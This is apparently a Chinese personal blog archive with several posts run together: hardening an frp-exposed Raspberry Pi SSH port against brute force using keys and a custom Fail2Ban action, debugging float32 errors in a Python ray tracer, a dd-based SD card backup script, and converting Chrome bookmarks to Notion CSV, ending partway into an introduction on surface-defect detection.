自从两年前购入一个树莓派 4B 后，它一直作为我的本地服务器勤勤恳恳的 吃灰 运行着。为了方便随时随地访问，我在另一台个人云服务器上搭建了 frp 服务，把内网的 SSH 22 端口转发到了一个公网端口上。

直到今年年初偶然一次检查的时候，才发现这个转发出去的 SSH 端口正在被一大批 IP 24 小时持续不断的进行爆破操作，攻击的速度达到了每秒十几次。可把我吓出一身汗，因为那时候还在使用相对较弱的一组用户名和密码。

事后检查 log 的时候发现，auth.log 里满满当当挤了那个月的 *几千万* 条攻击记录（auth.log 最多记录一个月），也就是说这个攻击已经持续了至少一个月以上。攻击的 IP 来源不少都是外网机器，估摸着都是肉鸡或者代理；攻击记录显示出两大种类型：常见用户名爆破以及 root 密码爆破。好在实际正确的用户名在 log 中只出现了寥寥一两百次，对系统仔细检查后也没有发现异样，因此判断尚未被成功爆破。

要知道，我的树莓派不仅是本地服务器，还是一个 NAS，相当多的个人文件被备份在上面。要是被爆破，作为肉鸡是小事，泄露隐私/丢失数据可是大事。

加固 SSH

面对这样力度的爆破，加固 SSH 是在所难免了。常用的加固方法：

• 更换端口
• 使用密钥对登录
• 禁用密码登录，禁用 root 登录
• Fail2Ban 等自动封禁

对于更换端口，frp 转发出去的已经是一个奇葩高位端口，仍然被轻易探测到并疯狂爆破（后来新配置的其他高位端口也同样分分钟被探查到）；而服务器本身的 22 端口虽然也有被攻击的记录，但是远远少于树莓派受到的攻击量。因此可以说更换端口是一个并没有太大用处的方法。

使用密钥对登录才是真正的杀手锏，毕竟普通密码也许可以试出来，私钥试到下下辈子试到沧海桑田也不一定试得出来。在本地执行以下指令（替换邮箱或说明文字）生成使用 ed25519 算法生成的公私密钥对：

1ssh-keygen -t ed25519 -C "your_email@example.com"

（推荐使用 ed25519，相比 RSA 更安全，密钥反而还更短）

生成密钥后，可以用这个指令（按需修改密钥位置）添加/修改/删除密钥的密码：

1ssh-keygen -p -f ~/.ssh/id_ed25519

最后使用这个指令把公钥复制到需要访问的服务器的 ~/.ssh/authorized_keys 中：

1ssh-copy-id user@host

当然，也可以手动把公钥复制到对应机器的 ~/.ssh/authorized_keys 里。

完成公钥的设置以后，就可以把服务器的密码登录和 root 登录禁用了。打开 /etc/ssh/sshd_config 文件，编辑以下项：

ChallengeResponseAuthentication no
PasswordAuthentication no
PermitRootLogin no
UsePAM no

编辑完成后使用 sudo systemctl reload sshd 使配置生效。

使用 Fail2Ban

更多的问题

完成上一节的设置后，你的 SSH 端口可以说已经是相当坚固了。除非存在配置错误或是 SSH Server 存在严重 0-day 漏洞，否则除了你，神仙也进不了你的服务器。

可是这不妨碍攻击者继续攻击。加固 SSH 之后 ，动不动还是会有人来对树莓派的 SSH 端口进行一波上万次的爆破尝试，可以看得出来基本是在遍历一个常用用户名字典。在十分钟之内进行将近两万次攻击，最多的时候每秒 50 次左右的访问，这对于树莓派来说压力非常大，妥妥的是 DDOS 了。

一波不爽之后，决定上最后一层杀手锏，自动封禁。自动封禁工具的原理非常简单，它会自动监视目标服务的 log（对于 SSH 来说就是 /var/log/auth.log），如果一个 IP 在一定时间内失败超过特定次数，就对其进行封禁操作（比如在 iptables / ufw 中封禁对应 IP）。可以用于 SSH 的自动封禁工具五花八门，Fail2Ban、DenyHosts、SSHGuard 等都可以实现对应的功能。我这里选用了较为通用和强大，并且仍有开发组活跃维护的 Fail2Ban。

安装

Fail2Ban 在 Ubuntu / Debian 上的配置相当容易。

首先安装。使用 apt 安装的 Fail2Ban 版本较老，可以选择手动安装/升级最新版本。官方提供了文档：How to install or upgrade fail2ban manually，基本操作如下：

1. 下载安装包（这里略去文档中提供的验证环节）

   1wget https://github.com/fail2ban/fail2ban/releases/download/0.11.2/fail2ban_0.11.2-1.upstream1_all.deb

2. 停止 Fail2Ban 服务（如有）

   1sudo fail2ban-client stop

3. 安装刚下载的安装包

   1sudo dpkg -i fail2ban_0.11.2-1.upstream1_all.deb

这样，就可以用上最新版本的 Fail2Ban 了。

配置

在 Ubuntu / Debian 上，sshd 的 jail 已经默认启用了（/etc/fail2ban/jail.d/defaults-debian.conf)。在 /etc/fail2ban/ 下新建 jail.local 来对默认配置（jail.conf）进行覆盖修改：（不应该直接去修改原本的配置文件）

[sshd]
enabled = true
mode = aggressive
maxretry = 10
findtime = 1h
bantime = 12h

修改完毕后执行 sudo fail2ban-client reload 重载配置。

为了能够抓取到私钥验证失败的 log，这里选用了 aggressive 模式，具体可以看 /etc/fail2ban/filter.d/sshd.conf 中的正则表达式定义与 110 行左右的注释。注意这只在较新的版本中才支持，详见这条 issue#2115 的讨论。

然后为这个 jail 配置了最大失败次数为 10，统计失败的时间窗口大小为 1 小时，封禁时间为 12 小时。注意，一次失败的请求可能会产生不止一条 log，每一条被正则识别到的失败 log 都会被 Fail2Ban 认为是一次失败。为了防止一不小心把自己关在外面，不能设置太小的 maxretry。

Extra Juice

分析

上一节使用的 jail.local 配置文件在我搭建 frp 转发服务的云服务器上完美的守护着 SSH 端口。然而对于本地的树莓派来说，这仍然不太够。

首先，frpc 在访问本地 SSH 22 端口的时候，auth.log 中记录的 IP 是 127.0.0.1，而非远程攻击者的 IP。显然由于现在 frp 的限制，远程连接的 IP 元信息并不能很好的传递到本地来。而 Fail2Ban 默认忽略本地 IP，需要修改对应配置。

另外，就算本地 iptables 将 127.0.0.1 封禁，攻击者的访问请求仍然会被转发到本地，然后 frp 再把拒绝信息转发回去，白白消耗服务器流量和带宽。如果能在封禁 IP 的同时，直接暂时停用本地的 frpc 服务，那就最好了。这样一来攻击的请求将直接在云服务器端被拒绝掉，根本不会到达本地。

实现

在 Fail2Ban 中实现前者非常容易，配置中加入 ignoreself = false 即可。

对于后者，需要自己实现一个 action 来执行操作。在 /etc/fail2ban/action.d/ 下新建文件 systemd.local（或是其他你喜欢的名字），在其中定义一个能够自动关闭服务的 action：

# Fail2Ban configuration file
#
# Author: SteveHawk
# Modified for auto stopping frpc (or other kinds of) systemd services.
#

[Definition]

# Option:  actionstart
# Notes.:  command executed on demand at the first ban (or at the start of Fail2Ban if actionstart_on_demand is set to false).
# Values:  CMD
#
actionstart = if systemctl -q is-active <service>; then touch <tmp_file>; fi

# Option:  actionstop
# Notes.:  command executed at the stop of jail (or at the end of Fail2Ban)
# Values:  CMD
#
actionstop = if [ -f '<tmp_file>' ]; then systemctl start <service> && rm <tmp_file>; fi

# Option:  actioncheck
# Notes.:  command executed once before each actionban command
# Values:  CMD
#
actioncheck = systemctl list-units --all --type=service | grep -q <service>

# Option:  actionban
# Notes.:  command executed when banning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
actionban = systemctl stop <service>

# Option:  actionunban
# Notes.:  command executed when unbanning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
actionunban = if [ -f '<tmp_file>' ]; then systemctl start <service>; fi

[Init]

service = frpc
tmp_file = /tmp/<service>-active.fail2ban

其中 [Init] 部分定义了可以被覆盖的变量，这里声明了服务名称和对应的用于保存状态的临时文件路径，这样可以很方便的在调用 action 的 jail 配置文件中指定 frpc 之外的 systemd 服务。

[Definition] 部分则是重头戏，共定义了 5 组指令：

• actionstart 第一次执行封禁的时候执行的操作（需设置 actionstart_on_demand=true，否则会在服务启用时就执行）。我们自然不希望 Fail2Ban 去把一个本来被禁用的服务启用起来，只希望把启用状态的服务在封禁的时候禁用，解禁的时候启用。因此这里如果读取到服务为启用状态，就在指定路径生成一个临时文件，记录该服务最开始为启用状态。
• actionstop jail 或 服务停止时执行的指令。这里检查是否存在临时文件，存在的话启用服务，并删除该文件。
• actioncheck 在执行每次封禁/解禁操作前执行的检查操作，需要返回一个布尔值，为真时才会执行封禁/解禁对应的指令。其实可以留空，不过这里定义的命令会去检查该服务是否存在。
• actionban 封禁命令。简单粗暴，直接停止服务。
• actionunban 解禁命令。如果存在临时文件，则重新启用服务。

最终，将 jail.local 编辑为：

[sshd]
enabled = true
ignoreself = false
action = %(known/action)s
         systemd[service=frpc, actionstart_on_demand=true]
mode = aggressive
maxretry = 10
findtime = 15m
bantime = 30m

配置完成后执行 sudo fail2ban-client reload 重载配置。

其中 action 后面跟着的 %(known/action)s 会被自动替换为之前定义的 action，这样写相当于直接在原本的 action 上 append 了一个新的 action，非常方便。而 systemd action 中的 service 也可以填写任意别的服务名，轻松完成一样的功能。

不过这里我选择将 findtime 调整为较短的 15 分钟，bantime 调整为较短的半小时，因为仍然需要保证转发服务大部分时间的可用性，所以只封禁短时间内的大量失败，并且很快就重新上线服务。

缺陷

然而需要指出的是，这样子的配置有两点缺陷：

• 这个 action 只能记录 actionstart 时的服务状态，后面如果用户有手动更改状态的话，Fail2Ban 不会知道。会有两种情况：原本启用的服务，在 Fail2Ban 执行封禁解封以后如果用户手动禁用服务，下一次解封的时候 Fail2Ban 还是会自动重新启用；原本禁用的服务，在 Fail2Ban 执行封禁解封以后如果用户手动启用服务，下一次解封的时候 Fail2Ban 不会自动启用。

• 这样的配置非常容易被拒绝访问攻击。幸好我对于可用性的要求并不高，因此不会是个大问题。

尾声

2021-05-10 02:33:59,794 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:33:59
2021-05-10 02:33:59,942 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:33:59
2021-05-10 02:33:59,949 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:33:59
2021-05-10 02:34:00,006 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:34:00
2021-05-10 02:34:00,008 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:34:00
2021-05-10 02:34:00,032 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:34:00
2021-05-10 02:34:00,040 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:34:00
2021-05-10 02:34:00,055 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:34:00
2021-05-10 02:34:00,065 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:34:00
2021-05-10 02:34:00,093 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:34:00
2021-05-10 02:34:00,101 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:34:00
2021-05-10 02:34:00,108 fail2ban.filter         [539]: INFO    [sshd] Found 127.0.0.1 - 2021-05-10 02:34:00
2021-05-10 02:34:00,109 fail2ban.actions        [539]: NOTICE  [sshd] Ban 127.0.0.1

成功的拦下了攻击！目标完美达成。

最近在照着 Ray Tracing In One Weekend 系列用 Python 实现一个蒙特卡洛光追器（代码在这里）。第一本书的内容已经写完，但是由于 Python 感人的性能，我决定在学第二本书之前先把这个尚不完备的光追器进行一些性能优化。终于，优化后的性能可以让我在能够接受的时间内渲染出一张足够炫的图了。

然而，在渲染第一本书最后一章的场景时，我碰到了一个神秘的 Bug。运行的时候，虽然不会出现 Exception 停止渲染，但是 Numpy 会出现这样的运行时警报：

1...\InOneWeekend_optimized\utils\vec3.py:95: RuntimeWarning: invalid value encountered in sqrt
2  normal * (-np.sqrt(1 - r_out_parallel.length_squared()))

这里其实一共会出现 8 个 RuntimeWarning，我只附上了引起连锁问题的第一个警报。

这是一个相当偶发的 Bug，在一整张 1080P 分辨率、大约几十的采样数和递归深度的图渲染的过程中，这个问题只会出现一到两次。而发生问题的这个位置是在 Vec3 类中计算透明材质折射的位置出现的，这个函数的调用量绝对巨大。

我其实完全可以忽略这个问题，因为实在偶发，并且也不会影响结果。但是去他的，我花了整整两天时间找到了问题的根源。

Debug

无效值

为什么会出现 invalid value？在 Numpy 的计算中，只有两种可能会出现无效值：一是人为引入了无效值，这些无效值在参与计算的时候会报警；二是计算出现了无效值，例如除零等问题。我在优化过程中确保不会人为引入 np.inf，np.nan 这样的无效值，也确保了计算时不会出现除零问题，那这里又是为什么会出现无效值呢？很显然是开根号出现了负数，也就是 r_out_parallel 向量的长度的平方超过了 1。我们看一下这个函数的代码：

1def refract(self, normal: Vec3, etai_over_etat: float) -> Vec3:
2    cos_theta: float = -self @ normal
3    r_out_parallel: Vec3 = (self + normal*cos_theta) * etai_over_etat
4    r_out_prep: Vec3 = \
5        normal * (-np.sqrt(1 - r_out_parallel.length_squared()))
6    return r_out_parallel + r_out_prep

在这个函数中，我们会首先将单位长度的自己（入射光线）和单位长度的法线进行点乘并取负，获得 cosθ 的值（θ 为入射角）。然后我们根据折射定律，就可以求出折射光线的两个垂直分量的值。在求 r_out_parallel 的过程中，etai_over_etat 是一个根据折射率确定的定值，变量在于 self 和 normal，也就是入射光线和法线。如果两者都是确保为单位长度，那计算结果的长度绝对不会大于 1。

查看唯一调用了这个函数的 Dielectric 材质的代码，可以看到入射光线由这一行定义：

1unit_direction: Vec3 = r_in.direction().unit_vector()

非常明显，入射光线保证是单位长度。查看之前法线的计算代码：

1outward_normal: np.ndarray = (point - self.center.e) / self.radius

法线也确保是单位长度…？那这就非常奇怪了。

自然而然，我在 refract 函数加了输出 log 的代码，然后试图复现。由于太过随机，我只能开一个足够复杂的渲染，然后期待可能长达一个多小时的渲染中能够出现一次这个问题。结果证明，是法线可能出现长度大于 1 的情况。（而且不是误差的那种大一点点，是很明显的大很多；毕竟大一点点也不会触发报警）

法线长度

奇怪？明明我们的法线除以了球体的半径了，这应该会保证法线长度为单位长度的啊。我在这代码附近做了些测试，发现一般情况下，法线的长度可能会因为浮点误差稍稍大于 1，绝大部分的情况下长度都满足小于 1.003，这在意料之中，并不会造成问题。但是造成问题的就是在极稀有的情况下，这个长度会远超过 1，以下是记录到的几个异常向量的值（后面跟的是长度的平方）：

1[ 3.3827233  -1.2850341  -0.84744215] 13.812287
2[-0.08962154 -2.7663574   0.6211221 ] 8.046557
3[-1.1635733  -1.8047484   0.29541224] 4.698288
4[ 1.272459  -1.310974   1.5275431] 5.6711926

光看这个值看不出什么名堂，我一起记录了光线的入射点、方向、长度的信息：（第一条没有记录到）

Divergence 1

1normal: [-0.08962154 -2.7663574   0.6211221 ]
2length_squared: 8.046557
3ray.origin: [764.490478515625 -1161.707275390625 624.0230102539062]
4ray.direction: [-0.7604150772094727 1.1616960763931274 -0.6264601945877075]
5ray.t: 999.7055053710938

Divergence 2

1normal: [-1.1635733  -1.8047484   0.29541224]
2length_squared: 4.698288
3ray.origin: [-858.3599243164062 -920.5106201171875 -506.8523864746094]
4ray.direction: [0.8497467637062073 0.9204732179641724 0.5076704025268555]
5ray.t: 999.8658

Divergence 3

1normal: [ 1.272459  -1.310974   1.5275431]
2length_squared: 5.6711926
3ray.origin: [963.6956787109375 -784.3375854492188 157.41766357421875]
4ray.direction: [-0.9603748917579651 0.7843140959739685 -0.16341014206409454]
5ray.t: 999.9506225585938

首先能注意到的异状非常明显：光线的来源点非常可疑。这个场景在渲染的时候，地面是一个半径 1000 长度的大球，而这几个点非常明显都在球上，而且是很远很靠下的位置，渲染的时候光线应该不太能达到这些点。不过我们先假设能打到好了，计算本身应该不会有问题吧？在哪儿的点打过来都应该计算正确才对，但是这些光线算出来的法线就是会明显偏大。难道是误差？

np.float32

没错，我用了 np.float32。因为心想着单精度算起来更快，而且精度大概也够，双精度仿佛太 overkill，所以在设计之初选择了在系统里统一使用单精度。我们看一下计算光线与球体碰撞的代码：

1oc = r.origin() - self.center.e
2a = (r.direction()**2).sum(axis=1)
3half_b = (oc * r.direction()).sum(axis=1)
4c = (oc**2).sum(axis=1) - self.radius**2
5discriminant_list = half_b**2 - a*c

我们再看一看 Divergence 3 的计算中，这几个中间值：

1oc: [ 960.582   -784.5376   163.70758]
2a: 1.5641714
3half_b: -1564.5942
4c: 1565017.1
5discriminant: 0.25

震撼猫咪。根据 IEEE 754 标准，32 位浮点数用于表示有效数字的部分只有 23 bit，这个数字太大，以至于整数部分撑满了有效数字，小数部分完全不够表示了。于是这直接导致了最后计算 t 值时偏差过大，又导致计算得到的入射点偏差过大，最终导致法线的超大误差。

破案🎉！这种选择单精度浮点数的行为是懒惰的体现，是对万千先人对精度的追求的侮辱，这种人渣行为应当取缔。（但是真的是这样吗？）

“地球”

还有几个疑点我们没有解决：入射光线的源点，和光线的长度。为什么源点都在底下的那个大球（地球）上？为什么都在似乎完全照射不到的位置（我的模型完全不会考虑爱因斯坦老爷子讲的引力作用）？以及还有一个相当可疑的，为什么所有光线的长度都正好是 999.*？

我们先解决最容易的，999。整个光追器里，唯一一个值是 1000 的常量，就是地球的半径。这种奇妙的联系一定会怀疑吧？我尝试了一个很简单的关联测试，就是把地球的半径调整到 1200，然后再试着复现一次。

Divergence 4

1normal: [-2.146833   -4.778076    0.47927737]
2length_squared: 27.668612
3ray.origin: [-615.9678955078125 -2229.79443359375 10.366312980651855]
4ray.direction: [0.5196393132209778 1.858138084411621 -0.011417373083531857]
5ray.t: 1199.6087646484375

于是，这关联就板上钉钉实锤了。

到这份上，想要解释也不难了。想一下光线的源点和方向，就会发现这几个异常无一例外都是在地球表面很偏远的角落，并且法线指向球内部。我们看一看采用 lambertian 散射的磨砂材质的代码：

1class Lambertian(Material):
2    def __init__(self, a: Color) -> None:
3        self.albedo = a
4
5    def scatter(self, r_in: Ray, rec: HitRecord) -> Tuple[Ray, Color]:
6        scatter_direction: Vec3 = rec.normal + Vec3.random_unit_vector()
7        scattered = Ray(rec.p, scatter_direction)
8        attenuation = self.albedo
9        return scattered, attenuation

果然，我们没有考虑光线在球内部的情况。如果有光线进入了球内，这光线会继续按照漫反射的规则做随机发散。这也顺便解释了为什么异常光线长度都是地球半径：Lambertian 反射在这里的方向计算方式，是首先获得一个以法线末端为球心的单位球；然后在这球上按均匀分布随机取一点，则反射方向就是法线起始端（光线源点）指向这个球上的随机点。原书示意图如下，只不过这里的情况是单位球在大球内部。

这个单位球，显然和大球相似，相似比为 1：大球半径。因此最终的光线长度即为大球的半径。

Shadow Acne

光线长度的问题解决以后，最后一个问题就是：为什么会有光线进入地球内部？

在创建场景的时候，地球采用了磨砂材质，这是一种默认并不会允许光穿透过去的材质。从上一节可以看到，lambertian 散射的计算保证了反射光线一定在切平面之上，不可能进入球内。那这是从哪里来的光线？蓝色空间号从四维带进去的吗？

这里的突破口在主函数渲染函数 ray_color() 中的一行：

1rec_list: HitRecordList = world.hit(r, 0.001, np.inf)

原书 8.4 节介绍了这一方法，通过把光线最小距离设置为 0.001 以解决 Shadow Acne 的问题。这就导致了光线会突破限制进入地球内部。在计算光线和球体碰撞的时候，一元二次方程有解时往往会有两个解，我们使用了这样的逻辑去挑选最终的解：（代码为未并行化的版本）

1if discriminant > 0:
2    if t_min < t_0 < t_max:
3        t = t_0
4    elif t_min < t_1 < t_max:
5        t = t_1
6    else:
7        return None

当光线长度小于 0.001 时，它就会被抛弃。于是在地球和其他小球的接缝处，非常短的反射光线的第一个解被抛弃了，而第二个解就在地球的另一边。这也就是为什么，光线会偶然突破限制进入不应该进入的地球内部。

尾声

最终的修复也很简单，在 Lambertian 材质的计算中加入一个光线位置的判断即可。我们本来就在光线的击中记录中加入了在球内还是球外的记录项，因此非常方便。

最后附上一张 debug 时渲染的测试图作为尾声：

由于把树莓派当作 NAS 而外接了一块硬盘，因此这块硬盘自然成为了备份存储的位置。核心思想就是使用 dd 指令直接把整个 SD 卡的内容拷贝到一个镜像文件中。参考了以下两个项目/帖子，完成了我的备份脚本。

Using dd to backup a PI SD - Raspberry Pi Forums

kallsbo/BASH-RaspberryPI-System-Backup: Bash script for automatic imaging backup of a raspberry pi system while it’s running

代码如下。

 1#!/bin/bash
 2#
 3# Automate Raspberry Pi Backups
 4# https://github.com/kallsbo/BASH-RaspberryPI-System-Backup
 5# https://www.raspberrypi.org/forums/viewtopic.php?t=46911
 6#
 7# Usage: system_backup.sh {path} {days of retention}
 8#
 9# Below you can set the default values if no command line args are sent.
10# The script will name the backup files {$HOSTNAME}.{YYYYmmdd}.img.gz
11# When the script deletes backups older then the specified retention
12# it will only delete files with it's own $HOSTNAME.
13
14# Redirect output
15exec >> /path/to/logfile/backup.log
16exec 2>&1
17
18echo "=============== Start Raspi Backup ==============="
19echo $(date "+%Y-%m-%d %H:%M:%S") UTC
20echo
21
22# Declare vars and set standard values
23backup_path=/path/to/backup/folder
24retention_days=30
25
26# Check that we are root!
27if [[ ! $(whoami) =~ "root" ]]; then
28echo ""
29echo "**********************************"
30echo "*** This needs to run as root! ***"
31echo "**********************************"
32echo ""
33exit
34fi
35
36# Check to see if we got command line args
37if [ ! -z $1 ]; then
38   backup_path=$1
39fi
40
41if [ ! -z $2 ]; then
42   retention_days=$2
43fi
44
45# Create trigger to force file system consistency check if image is restored
46touch /boot/forcefsck
47
48# Perform backup
49dd bs=4M if=/dev/mmcblk0 | gzip > $backup_path/$HOSTNAME.$(date +%Y%m%d).img.gz
50# Restore
51# gzip -dc $backup_path/$HOSTNAME.{YYYYmmdd}.img.gz | dd bs=4M of=/dev/mmcblk0
52
53# Remove fsck trigger
54rm /boot/forcefsck
55
56# Delete old backups
57find $backup_path/$HOSTNAME.*.img.gz -mtime +$retention_days -type f -delete
58
59echo
60echo $(date "+%Y-%m-%d %H:%M:%S") UTC
61echo "=================== Finished ====================="
62echo

创建脚本后，可以把它加入 Crontab 定时运行备份。

由于需要用 root 权限运行脚本，因此使用 sudo crontab -e 添加 root 用户的运行任务：

30 4 * * 5 /home/pi/utils/backup.sh

这样它就会在每周五凌晨 4：30 自动进行 SD 卡全盘备份啦！

Notion 是一款万能的内容工具。关于 Notion 的深入介绍可以看少数派上的超多介绍文章，这是其中一篇：Notion：重新定义数字笔记 - 少数派。

为什么使用 Notion？

Notion 的哲学是万物皆块（Block）。有相当多的数据形式，他们皆是以块的形式展现，可以在其他的块（页、数据库等）里以任意形式排列组合。丰富的数据类型加上自由的组合方式，使得 Notion 成为了一个相当强大的内容记录/管理工具，你可以随心所欲的为你的需求打造对应的记录方式。

还有一个很重要的点，Notion 好看。这一点也让 Notion 可以直接成为一个博客，或者是某种公开的展示页，而省的还要另外去搭网站之类。

Notion 也有很棒的团队协作功能，不过现在作为单机玩家还没机会体会这一点。

Notion 的缺点？

1. 连接速度慢。毕竟是境外网站，不过好在咱能科学上网。
2. 移动端 app 性能差，桌面端 app 就是个套壳。网页端才是本体，幸亏足够好用。
3. 功能并不够完善，且没有提供官方 API。足够自由的形式固然好，但是没有配套的快捷操作/批量操作等，再自由都是白搭。想自己实现自定义功能，又没有 API 能用。期待早日开放 API 吧。
4. 不支持 Markdown。虽然它支持“类 Markdown”快捷键，但是终究不是 Markdown。

这里是 Notion 的更新记录：What’s New? 。

这些缺点使 Notion 成为了一个瘸腿皇帝。我把一些不需要经常查看的数据（订阅管理、书单等）迁移到了 Notion 上，但是 TODO、快速笔记等还是保留在了更快速更轻量的 Google Keep 上，笔记还是单独使用 Markdown 文件线下管理。

目标

我在 Chrome 的收藏夹里有将近 500 个书签。这些书签里有相当多有意思的文章、项目等等，但是仅靠收藏夹的文件夹很难细致的把这些书签分门别类进行整理归类。

因此目标已经相当明确：把 Chrome 收藏夹里的书签导入 Notion，打造一个知识库。

方法

Notion 的数据库支持使用 csv 文件直接导入，因此把书签转为 csv 格式就可以一键导入了。

首先需要从 Chrome 导出书签。在书签管理器的右上角三点菜单中，可以找到导出书签的选项。导出后就会拿到一个命名格式类似 bookmarks_YYYY_M_D.html 的 HTML 文件，点开可以看到里面放着我们所有的书签。

查看这个文件的源代码，可以看到每个书签都有名称、链接、时间、缩略图四个信息，知道这一点就可以写个 Python 脚本提取了。不过奇怪的是，这个文件中有一部分标签没有正确闭合，这给之后的解析带来很多麻烦。为了方便起见，把这个 HTML 文件用 Chrome 打开，Ctrl-S 再把这个网页另存为一个新的文件。重新保存以后，该闭合的标签都正确闭合了，可以用脚本解析了。

我使用了 bs4 做文档树的解析。源码中可以看到链接的 <a> 标签都是放在嵌套的 <dl> 和 <dt> 列表中，一个简单的递归就可以完成对文件夹结构的提取。脚本代码如下：

 1import csv
 2import time
 3from bs4 import BeautifulSoup  # type: ignore
 4from typing import List
 5
 6with open("Bookmarks.html", "r", encoding="utf-8") as f:
 7    soup = BeautifulSoup(f, features="html.parser")
 8
 9link_list: List[List[str]] = list()
10
11def parse_folder(folders: BeautifulSoup, tags: List[str]) -> None:
12    contents = folders.find("dl", recursive=False).find_all("dt", recursive=False)
13    for content in contents:
14        h3 = content.find("h3")
15        if h3 is not None:
16            parse_folder(content, tags + [h3.string])
17            continue
18        a = content.find("a", recursive=True)
19
20        # 0. Name
21        link_name = a.string
22
23        # 1. Link
24        link_href = a["href"]
25
26        # 2. Created time
27        time_local = time.localtime(int(a["add_date"]))
28        link_date = time.strftime("%Y-%m-%dT%H:%M:%S+08:00", time_local)  # ISO-8601
29
30        # # 3. Cover picture
31        # try:
32        #     link_cover = a["icon"]
33        # except KeyError:
34        #     link_cover = ""
35
36        link = [link_name, link_href, ",".join(tags), link_date]
37        link_list.append(link)
38
39parse_folder(soup.body, [])
40
41with open("bookmarks.csv", "w", newline='', encoding="utf-8") as f:
42    writer = csv.writer(f)
43    writer.writerow(["Name", "Link", "Tags", "Created"])
44    writer.writerows(link_list)

缩略图是 base64 的 png 数据，由于 Notion 尚不支持这种数据的导入，所以就没有放进 csv。csv 文件包括了四列，分别是名称，链接，标签和创建时间。其中，标签包括了这一书签所属的所有母文件夹的名称。创建时间使用了 ISO-8601 标准的格式，Notion 在导入的时候会自动识别为时间类型。

生成好 csv 文件，到 Notion 中导入，就得到了一个整齐的数据库！

遗憾

首先是时间类型的处理。我在 csv 中使用 ISO-8601 的标准让 Notion 能够自动识别为时间类型，然而 Notion 在导入时间后会把所有的时间转化为 GMT 时间，并且目前没有办法批量更改为 GMT+8（批量选中后更改时区会让选中的所有时间变成选中的第一个时间）。

另外，Notion 并不支持更改一个块的“创建时间”属性。Notion 在导入时间类型的时候使用的是“Date”格式，而创建时间是另一个单独的类型“Created Time”，这个属性目前是不支持更改的（估计以后也不会让你修改）。如果只是用这么一个 Date 类型的时间，后续往数据库里加入新书签的时候又需要手动设置时间，多了一步麻烦。总结起来，如果保留 Chrome 提供的创建时间数据，在之后要么麻烦，要么丑。

光一个时间就这么多麻烦事，所以大概还是删掉这个属性比较好了。

还有一个遗憾在于链接预览。Notion 有两个很酷的东西：一个是 bookmark 类型的块，还有一个是 Web Clipper 插件。bookmark 类型的块可以填入一个链接，然后生成对应的预览图和简介文字。可惜的是，这一效果只能手动选择 bookmark 块，手动输入链接后才行，而不能对数据库里的链接批量生成。Web Clipper 插件则是可以把正在浏览的网页内容保留格式的复制到 Notion 中，然而同样的，这没有办法批量生成。目前唯一可行的方法，大概就是手动去把我这几百条书签一条条生成类似的东西。（一点也不可行啊喂）

目前 Notion 还有一个比较烦人的 bug（feature？）。从一个数据库里批量把一堆项目选中拖到另一个数据库里以后，数据的顺序竟然会变…？而且是一个无法预测的随机变化… 我想要把一个大数据库手动拆到几个小数据库的想法直接就泡汤了。（书签的顺序对我还是蛮重要的）

就像之前说的，Notion 并没有特别完善的功能，也没有开放 API，这使得大量数据的批量操作比较艰难。倒也不是完全不能用，但是就是在细节上差那么一点点，让完美主义者和强迫症心有不甘。也做不了什么，只能期待 API 早日开放吧！有完整 API 的 Notion，我是真的不敢想象能够强大到什么程度。

Update：Notion 的客户反馈是真人而且态度超级棒！在工作区右下角那个问号图标里选 Send us a message 就可以和他们的团队成员直接交流了！一般他们都会在一天内给回复。我已经反馈了数据库顺序的问题和自动生成书签预览的建议，等他们更新咯。

Update 2：为了解决从一个数据库拖到另一个数据库顺序会变的问题，我进一步魔改了代码，让这个脚本能够按照顶层文件夹分别生成独立的 csv 文件。代码主体基本没有变化，主要是修改了存储所有链接的 link_list 结构。代码如下：

 1import csv
 2import time
 3from bs4 import BeautifulSoup  # type: ignore
 4from typing import List, Dict
 5
 6with open("Bookmarks.html", "r", encoding="utf-8") as f:
 7    soup = BeautifulSoup(f, features="html.parser")
 8
 9link_list: Dict[str, List[List[str]]] = dict()
10
11def parse_folder(folders: BeautifulSoup, tags: List[str]) -> None:
12    contents = folders.find("dl", recursive=False).find_all("dt", recursive=False)
13    for content in contents:
14        h3 = content.find("h3")
15        if h3 is not None:
16            if not tags:
17                link_list[h3.string] = list()
18            parse_folder(content, tags + [h3.string])
19            continue
20        a = content.find("a", recursive=True)
21
22        # 0. Name
23        link_name = a.string
24
25        # 1. Link
26        link_href = a["href"]
27
28        # 2. Created time
29        time_local = time.localtime(int(a["add_date"]))
30        link_date = time.strftime("%Y-%m-%dT%H:%M:%S+08:00", time_local)  # ISO-8601
31
32        # # 3. Cover picture
33        # try:
34        #     link_cover = a["icon"]
35        # except KeyError:
36        #     link_cover = ""
37
38        link = [link_name, link_href, ",".join(tags), link_date]
39        link_list[tags[0]].append(link)
40
41parse_folder(soup.body, [])
42
43keys = link_list.keys()
44for key in keys:
45    with open(f"./Bookmarks/{key.replace('/', '')}.csv", "w", newline='', encoding="utf-8") as f:
46        writer = csv.writer(f)
47        writer.writerow(["Name", "Link", "Tags", "Created Time"])
48        writer.writerows(link_list[key][::-1])

1.1 简介

在工业生产中，产出产品的质量控制是非常重要的一环，直接影响了最终产品的质量和声誉。质量控制中的一个重点，在于检测产品的表面是否存在缺陷，是否能够符合最终标准。不同的产品中，我们能见到非常多种类的缺陷，例如变形、压伤、划伤、凸包、污渍，等等。

